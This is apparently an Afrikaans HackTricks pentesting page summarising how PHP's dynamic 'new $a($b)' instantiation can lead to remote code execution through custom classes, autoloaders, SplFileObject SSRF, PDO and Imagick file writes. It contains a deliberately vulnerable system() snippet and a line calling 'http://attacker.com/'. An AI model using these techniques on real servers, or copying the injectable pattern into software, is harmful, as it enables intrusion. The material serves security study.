6.8 KiB
PHP - RCE misbruik van objek skepping: nuwe $_GET["a"]($_GET["b"])
Leer AWS hack vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github repos.
Hierdie is basies 'n opsomming van https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Inleiding
Die skepping van nuwe willekeurige objekte, soos new $_GET["a"]($_GET["a"])
, kan lei tot Remote Code Execution (RCE), soos in 'n writeup beskryf. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
RCE via Aangepaste Klasse of Autoloading
Die sintaksis new $a($b)
word gebruik om 'n objek te instansieer waar $a
die klasnaam verteenwoordig en $b
die eerste argument is wat aan die konstrukteur oorgedra word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle strings of rye kan wees, of van JSON, waar hulle as ander tipes kan voorkom.
Beskou die onderstaande kodefragment:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
In hierdie geval, as $a
ingestel word op App
of App2
en $b
op 'n stelselopdrag (bv. uname -a
), sal dit lei tot die uitvoering van daardie opdrag.
Autoloading funksies kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse van lêers wanneer dit nodig is en word gedefinieer met behulp van spl_autoload_register
of __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Die gedrag van outoloading verskil met PHP-weergawes en bied verskillende RCE-moontlikhede.
RCE via Ingeboude Klasse
As daar nie aangepaste klasse of outoloaders is nie, kan ingeboude PHP-klasse voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP-weergawe en uitbreidings. Hulle kan gelys word deur gebruik te maak van get_declared_classes()
.
Konstruksies van belang kan geïdentifiseer word deur die refleksie API, soos getoon in die volgende voorbeeld en die skakel https://3v4l.org/2JEGF.
RCE via spesifieke metodes sluit in:
SSRF + Phar Deserialisering
Die SplFileObject
-klas maak SSRF moontlik deur middel van sy konstrukteur, wat verbinding met enige URL toelaat:
new SplFileObject('http://attacker.com/');
SSRF kan lei tot deserialisasie-aanvalle in weergawes van PHP voor 8.0 deur die gebruik van die Phar-protokol.
Uitbuiting van PDO's
Die konstrukteur van die PDO-klas maak dit moontlik om verbinding met databasisse te maak deur middel van DSN-reekse, wat potensieel die skep van lêers of ander interaksies moontlik maak:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die SoapClient
en SimpleXMLElement
konstruksies, afhangende van die weergawe van libxml2.
RCE via Imagick-uitbreiding
In die analise van 'n projek se afhanklikhede is ontdek dat Imagick gebruik kan word vir beveluitvoering deur nuwe objekte te instansieer. Dit bied 'n geleentheid vir die uitbuiting van kwesbaarhede.
VID-parser
Die VID-parser-vermoë om inhoud na enige gespesifiseerde pad in die lêersisteem te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-skulp in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.
VID-parser + Lêeroplaai
Dit moet opgemerk word dat PHP opgelaaide lêers tydelik in /tmp/phpXXXXXX
stoor. Die VID-parser in Imagick, wat die msl-protokol gebruik, kan wildcards in lêer-paaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose plek fasiliteer. Hierdie metode bied 'n addisionele benadering om arbitrêre lêerskryf binne die lêersisteem te bereik.
PHP Crash + Brute Force
'n Metode wat in die oorspronklike skryfstuk beskryf word, behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat dit uitgewis word. Deur die naam van die tydelike lêer met brute force te raai, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek was egter slegs effektief in 'n verouderde weergawe van ImageMagick.
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.